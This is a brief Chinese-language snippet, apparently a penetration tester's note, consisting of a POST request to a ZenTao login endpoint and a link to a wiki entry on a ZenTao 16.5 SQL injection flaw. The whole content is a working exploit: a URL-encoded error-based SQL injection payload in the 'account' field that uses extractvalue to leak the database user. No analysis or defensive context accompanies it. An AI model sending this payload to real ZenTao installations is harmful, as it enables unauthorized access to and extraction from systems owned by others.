登录 白背景
源码 
POST /zentao/user-login.html

account=admin%27+and+%28select+extractvalue%281%2Cconcat%280x7e%2C%28select+user%28%29%29%2C0x7e%29%29%29%23

http://wiki.peiqi.tech/wiki/cms/%E7%A6%85%E9%81%93/%E7%A6%85%E9%81%93%2016.5%20router.class.php%20SQL%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E.html